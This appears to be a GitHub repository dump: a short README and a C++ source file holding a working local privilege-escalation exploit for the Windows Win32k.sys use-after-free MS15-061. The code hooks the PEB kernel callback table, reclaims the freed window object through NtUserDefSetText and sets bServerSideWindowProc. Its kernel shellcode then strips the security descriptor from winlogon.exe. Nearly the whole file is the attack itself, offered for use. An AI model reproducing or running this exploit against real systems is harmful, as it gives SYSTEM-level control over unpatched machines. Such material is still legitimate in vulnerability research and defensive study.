├── README.md └── ms15-061.cpp /README.md: -------------------------------------------------------------------------------- 1 | # MS15-061 2 | 3 | **** 4 | Exploiting MS15-061 with reverse engineering Win32k.sys by 5 | 6 | 7 | **** 8 | mail : Firozimaysam@gmail.com 9 | twitter : https://twitter.com/R00tkitSMM 10 | 11 | 12 | -------------------------------------------------------------------------------- /ms15-061.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | /* 4 | 5 | Exploiting MS15-061 with reverse engineering Win32k.sys by 6 | 7 | steps : 8 | 9 | 1: hook PEB callback Function 10 | 2: trigger vulnerability ( make proper Window to lead vulnerable function) 11 | 3: replace fake object with NtUserDefSetText in Desktop heap inside PEB callback 12 | 4: fake object with save exit buffer(0x0c0c0c0c) and pointer to tagWND 13 | 5: do it until bServerSideWindowProc is set 14 | 15 | mail : Firozimaysam@gmail.com 16 | twitter : https://twitter.com/R00tkitSMM 17 | 18 | */ 19 | // TODO: check OS version , Code refactoring 20 | /* 21 | 22 | ref: 23 | https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2015/08/2015-08-27_-_ncc_group_-_exploiting_ms15_061_uaf_-_release.pdf 24 | http://www.mista.nu/research/mandt-win32k-slides.pdf 25 | https://labs.mwrinfosecurity.com/blog/2013/09/06/mwr-labs-pwn2own-2013-write-up---kernel-exploit/ 26 | 27 | */ 28 | typedef struct _HANDLEENTRY{ 29 | PVOID phead; 30 | ULONG pOwner; 31 | BYTE bType; 32 | BYTE bFlags; 33 | WORD wUniq; 34 | }HANDLEENTRY,*PHANDLEENTRY; 35 | 36 | typedef struct _SERVERINFO{ 37 | DWORD dwSRVIFlags; 38 | DWORD cHandleEntries; 39 | WORD wSRVIFlags; 40 | WORD wRIPPID; 41 | WORD wRIPError; 42 | 43 | 44 | }SERVERINFO,*PSERVERINFO; 45 | 46 | typedef struct _SHAREDINFO{ 47 | PSERVERINFO psi; 48 | PHANDLEENTRY aheList; 49 | ULONG HeEntrySize; // Win7 - not present in WinXP? 50 | ULONG_PTR pDispInfo; 51 | ULONG_PTR ulSharedDelta; 52 | ULONG_PTR awmControl; // Not in XP 53 | ULONG_PTR DefWindowMsgs; // Not in XP 54 | ULONG_PTR DefWindowSpecMsgs; // Not in XP 55 | }SHAREDINFO,*PSHAREDINFO; 56 | 57 | 58 | void* Get__Win32ClientInfo() 59 | { 60 | /* 61 | +0x1d4 GdiTebBatch : _GDI_TEB_BATCH 62 | +0x6b4 RealClientId : _CLIENT_ID 63 | +0x6bc GdiCachedProcessHandle : Ptr32 Void 64 | +0x6c0 GdiClientPID : Uint4B 65 | +0x6c4 GdiClientTID : Uint4B 66 | +0x6c8 GdiThreadLocalInfo : Ptr32 Void 67 | +0x6cc Win32ClientInfo : [62] Uint4B 68 | */ 69 | void* address=NULL; 70 | __asm 71 | { 72 | mov eax,dword ptr fs:[00000018h] // eax=TEB 73 | mov eax,dword ptr [eax+0x6cc] // Win32ClientInfo 74 | mov address,eax; 75 | } 76 | 77 | return address; 78 | } 79 | 80 | 81 | CHAR originalCLS[0x5c+2]; 82 | 83 | HWND GetKernelHandle(HWND hwnd) 84 | { 85 | HWND kernelWindowHandle; 86 | ULONG i; 87 | HMODULE hUser32; 88 | PSHAREDINFO pSharedInfo; 89 | PSERVERINFO pServerInfo; 90 | HANDLEENTRY *UserHandleTable; 91 | 92 | pSharedInfo = (PSHAREDINFO)GetProcAddress(LoadLibraryA("user32.dll"), "gSharedInfo"); 93 | if (pSharedInfo == NULL) 94 | { 95 | printf("[-] Unable to locate SharedInfo"); 96 | return NULL; 97 | } else { 98 | printf("[*] SharedInfo @ %#p\r\n", pSharedInfo); 99 | } 100 | 101 | UserHandleTable = pSharedInfo->aheList; 102 | printf("[*] aheList @ %#p\r\n", UserHandleTable); 103 | 104 | pServerInfo = pSharedInfo->psi; 105 | printf("[*] pServerInfo @ %#p\r\n", pServerInfo); 106 | printf("[*] Handle Count: %d\r\n", pServerInfo->cHandleEntries); 107 | // printf("User Delta 0x%p\r\n", pSharedInfo->ulSharedDelta); Not used 108 | 109 | for(i = 0; i < pServerInfo->cHandleEntries; i++ ) 110 | { 111 | __try 112 | { 113 | // 114 | kernelWindowHandle = (HWND)(i | (UserHandleTable[i].wUniq << 0x10)); 115 | if( kernelWindowHandle == hwnd ) 116 | { 117 | kernelWindowHandle = (HWND)UserHandleTable[i].phead; 118 | printf("[+] Kernel Window Handle found @ %#p\r\n", kernelWindowHandle); 119 | return kernelWindowHandle; 120 | } 121 | } 122 | __except(EXCEPTION_EXECUTE_HANDLER) {} 123 | } 124 | 125 | return NULL; 126 | } 127 | 128 | VOID ArbDecByOne(DWORD addr){ 129 | 130 | *(DWORD *)(originalCLS + 0x58) = addr - 0x4; 131 | 132 | } 133 | 134 | typedef struct _LARGE_UNICODE_STRING { 135 | ULONG Length; 136 | ULONG MaximumLength : 31; 137 | ULONG bAnsi : 1; 138 | PWSTR Buffer; 139 | } LARGE_UNICODE_STRING, *PLARGE_UNICODE_STRING; 140 | 141 | VOID RtlInitLargeUnicodeString( 142 | PLARGE_UNICODE_STRING plstr, 143 | LPCWSTR psz, 144 | UINT cchLimit) 145 | { 146 | ULONG Length; 147 | 148 | plstr->Buffer = (PWSTR)psz; 149 | plstr->bAnsi = FALSE; 150 | if ( psz!=NULL) { 151 | Length = wcslen( psz ) * sizeof( WCHAR ); 152 | plstr->Length = min(Length, cchLimit); 153 | plstr->MaximumLength = min((Length + sizeof(UNICODE_NULL)), cchLimit); 154 | } else { 155 | plstr->MaximumLength = 0; 156 | plstr->Length = 0; 157 | } 158 | } 159 | 160 | 161 | __declspec(naked) BOOL NTAPI NtUserDefSetText( 162 | IN HWND hwnd, 163 | IN PLARGE_UNICODE_STRING pstrText OPTIONAL 164 | ) 165 | { 166 | __asm 167 | { 168 | mov eax, 116Dh 169 | mov edx, 7FFE0300h 170 | call dword ptr [edx] 171 | retn 8 172 | } 173 | } 174 | 175 | 176 | //the Window Procedure 177 | LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) 178 | { 179 | 180 | return DefWindowProc(hwnd, msg, wParam, lParam); 181 | } 182 | 183 | void* kernelHandle; 184 | __declspec(noinline) int Shellcode() 185 | { 186 | //return MessageBoxA(NULL,"Boom","boom",0); 187 | __asm { 188 | mov eax, kernelHandle // WND - Which window? Check this 189 | mov eax, [eax+8] // THREADINFO 190 | mov eax, [eax] // ETHREAD 191 | mov eax, [eax+0x150] // KPROCESS 192 | mov eax, [eax+0xb8] // flink 193 | procloop: 194 | lea edx, [eax-0xb8] // KPROCESS 195 | mov eax, [eax] 196 | add edx, 0x16c // module name 197 | cmp dword ptr [edx], 0x6c6e6977 // “winl” for winlogon.exe 198 | jne procloop 199 | sub edx, 0x170 200 | mov dword ptr [edx], 0x0 // NULL ACL 201 | } 202 | } 203 | 204 | BOOL success = FALSE; 205 | LRESULT CALLBACK WndProc2(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) 206 | { 207 | 208 | WORD um=0; 209 | __asm 210 | { 211 | mov ax, cs 212 | mov um, ax 213 | } 214 | if(um == 0x1b) 215 | { 216 | // USER MODE 217 | } else 218 | { 219 | success=TRUE; 220 | DebugBreak(); 221 | 222 | Shellcode(); 223 | } 224 | 225 | return DefWindowProc(hwnd, msg, wParam, lParam); 226 | } 227 | 228 | HWND Secondhwnd[50]; 229 | int SecondWindowIndex=1; 230 | void CreateSecondWindow() 231 | { 232 | WNDCLASSEX wc; 233 | const WCHAR g_szClassName[] = L"SecondClass"; 234 | 235 | //Step 1: Registering the Window Class 236 | wc.cbSize = sizeof(WNDCLASSEX); 237 | wc.style = 0; 238 | wc.lpfnWndProc = WndProc2; 239 | wc.cbClsExtra = 0; 240 | wc.cbWndExtra = 0; 241 | wc.hInstance = NULL; 242 | wc.hIcon = LoadIcon(NULL,IDI_QUESTION); 243 | wc.hCursor = LoadCursor(NULL, IDI_QUESTION); 244 | wc.hbrBackground = (HBRUSH)(COLOR_WINDOW+1); 245 | wc.lpszMenuName = NULL; 246 | wc.lpszClassName = g_szClassName; 247 | wc.hIconSm = LoadIcon(NULL,IDI_QUESTION); 248 | 249 | if(!RegisterClassExW(&wc)) 250 | { 251 | return ; 252 | } 253 | 254 | for ( int i=0;i<50;i++) 255 | { 256 | Secondhwnd[i] = CreateWindowEx( 257 | WS_EX_CLIENTEDGE, 258 | g_szClassName, 259 | L"The title of my window", 260 | WS_OVERLAPPEDWINDOW, 261 | CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, 262 | NULL, NULL, NULL, NULL); 263 | 264 | if(Secondhwnd[i] == NULL) 265 | { 266 | 267 | return ; 268 | } 269 | } 270 | } 271 | 272 | const WCHAR g_szClassName[] = L"MS15-061"; 273 | HWND hwnd; 274 | HINSTANCE hInstance2; 275 | typedef NTSTATUS (NTAPI *pUser32_ClientCopyImage)(PVOID p); 276 | pUser32_ClientCopyImage g_originalCCI; 277 | void* __ClientCopyImageAddress; 278 | 279 | 280 | 281 | NTSTATUS NTAPI hookCCI(PVOID p) 282 | { 283 | 284 | LARGE_UNICODE_STRING plstr; 285 | // free WND object 286 | DestroyWindow(hwnd); 287 | UnregisterClassW(g_szClassName,NULL); 288 | 289 | 290 | 291 | /* 292 | .text:BF89EA6D push edx 293 | .text:BF89EA6E call _xxxClientCopyImage@20 ; xxxClientCopyImage(x,x,x,x,x) 294 | .text:BF89EA73 lea esi, [edi+58h] ------->>>> replace edi memeory with NtUserDefSetText 295 | .text:BF89EA76 mov edx, eax 296 | .text:BF89EA78 mov ecx, esi 297 | .text:BF89EA7A call @HMAssignmentLock@8 ; HMAssignmentLock(x,x) 298 | 299 | */ 300 | 301 | 302 | 303 | DebugBreak(); 304 | RtlInitLargeUnicodeString(&plstr,(WCHAR*)originalCLS, (UINT)-1); 305 | NtUserDefSetText(Secondhwnd[SecondWindowIndex],&plstr); 306 | SecondWindowIndex+=1; 307 | return g_originalCCI(p); 308 | } 309 | 310 | 311 | void* Get__ClientCopyImageAddressInPEB() 312 | { 313 | void* address=NULL; 314 | __asm 315 | { 316 | mov edx , 0xD8; // 0x36 *4 -> API index *4 number for __ClientCopyImage 317 | mov eax,dword ptr fs:[00000018h] // eax=TEB 318 | mov eax,dword ptr [eax+30h] // EAX=PEB 319 | mov eax,dword ptr [eax+2Ch] // EAX=KernelCallbackTable 320 | add eax,edx 321 | mov address,eax; 322 | int 3 323 | 324 | } 325 | 326 | return address; 327 | } 328 | 329 | 330 | 331 | void init() 332 | { 333 | DWORD prot; 334 | 335 | LoadLibraryA("user32.dll"); 336 | CreateSecondWindow(); 337 | 338 | void* lpvBase = VirtualAlloc( 339 | (void*)0x0c0c0c0c, // System selects address 340 | 2048, // Size of allocation 341 | MEM_RESERVE|MEM_COMMIT, // Allocate reserved pages 342 | PAGE_READWRITE); // Protection = no access 343 | 344 | 345 | /* 346 | for save exit : i used trick like Browser Fake vTable : 347 | allocate 0x0c0c0c0c address and fill tagWND with 0x0c0c0c0c 348 | so every dereference will loop in 0x0c0c0c0c 349 | 350 | */ 351 | memset(lpvBase,'\x0c',2048); 352 | 353 | memset(originalCLS,0,0x5c+2); 354 | memset(originalCLS,'\x0c',0x5c); 355 | 356 | 357 | /* 358 | +0x014 bForceMenuDraw : Pos 15, 1 Bit 359 | +0x014 bDialogWindow : Pos 16, 1 Bit 360 | +0x014 bHasCreatestructName : Pos 17, 1 Bit 361 | +0x014 bServerSideWindowProc : Pos 18, 1 Bit 362 | +0x014 bAnsiWindowProc : Pos 19, 1 Bit 363 | */ 364 | 365 | kernelHandle=GetKernelHandle(Secondhwnd[0]); 366 | ArbDecByOne((DWORD)kernelHandle+0x14); // 367 | 368 | __ClientCopyImageAddress=Get__ClientCopyImageAddressInPEB(); 369 | printf("address of __ClientCopyImage is %x \r\n",__ClientCopyImageAddress); 370 | 371 | if (!VirtualProtect(__ClientCopyImageAddress, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &prot)) 372 | { 373 | return ; 374 | } 375 | g_originalCCI =(pUser32_ClientCopyImage) InterlockedExchangePointer(__ClientCopyImageAddress, &hookCCI); 376 | 377 | 378 | } 379 | int main() 380 | { 381 | WNDCLASSEX wc; 382 | int x; 383 | MSG Msg; 384 | 385 | //Step 1: Registering the Window Class 386 | wc.cbSize = sizeof(WNDCLASSEX); 387 | wc.style = 0; 388 | wc.lpfnWndProc = WndProc; 389 | wc.cbClsExtra = 0; 390 | wc.cbWndExtra = 0; 391 | wc.hInstance = NULL; 392 | wc.hIcon = NULL; // bypass check inside xxxSetClassIcon to lead execution path to callback 393 | wc.hCursor = NULL; // bypass check inside xxxSetClassIcon to lead execution path to callback 394 | wc.hbrBackground = (HBRUSH)(COLOR_WINDOW+1); 395 | wc.lpszMenuName = NULL; 396 | wc.lpszClassName = g_szClassName; 397 | wc.hIconSm = NULL; // bypass "if" inside xxxSetClassIcon to lead execution path to callback 398 | 399 | init(); 400 | 401 | /* 402 | 403 | 404 | .text:BF91B33C mov edi, [ebp+pclsBase] 405 | .............. 406 | .............. 407 | .text:BF91B346 mov eax, [edi+58h] 408 | .text:BF91B349 cmp eax, [ebp+arg_8] ; new and old icon must be diffrent 409 | .text:BF91B34C jz loc_BF91B42C ----------->>> we need bypass this 410 | .............. 411 | .............. 412 | .text:BF91B396 loc_BF91B396: ; CODE XREF: xxxSetClassIcon(x,x,x,x)+68j 413 | .text:BF91B396 lea esi, [edi+58h] ; EDI 414 | .text:BF91B399 mov ecx, esi 415 | .text:BF91B39B mov edx, [ebp+arg_8] 416 | .text:BF91B39E call @HMAssignmentLock@8 ; HMAssignmentLock(x,x) 417 | .text:BF91B3A3 cmp dword ptr [edi+44h], 0 418 | .text:BF91B3A7 jz short loc_BF91B3B4 ---------->>> we need bypass this 419 | .text:BF91B3A9 cmp dword ptr [esi], 0 420 | .text:BF91B3AC jnz short loc_BF91B3B4 ---------->>> we need bypass this 421 | .text:BF91B3AE push edi 422 | .text:BF91B3AF call _xxxCreateClassSmIcon@4 ; xxxCreateClassSmIcon(x) 423 | 424 | */ 425 | 426 | do 427 | { 428 | if(!RegisterClassExW(&wc)) 429 | { 430 | return 0; 431 | } 432 | 433 | // Step 2: Creating the Window 434 | hwnd = CreateWindowEx( 435 | WS_EX_CLIENTEDGE, 436 | g_szClassName, 437 | L"The title of my window", 438 | WS_OVERLAPPEDWINDOW, 439 | CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, 440 | NULL, NULL, NULL, NULL); 441 | 442 | if(hwnd == NULL) 443 | { 444 | return 0; 445 | } 446 | 447 | ShowWindow(hwnd, NULL); 448 | UpdateWindow(hwnd); 449 | //Triger UserMode CallBack 450 | SetClassLongPtr(hwnd, GCLP_HICON, (LONG_PTR)LoadIcon(NULL, IDI_QUESTION)); 451 | 452 | SendMessageW(Secondhwnd[0], WM_NULL, NULL, NULL); 453 | }while(!success); 454 | 455 | } 456 | --------------------------------------------------------------------------------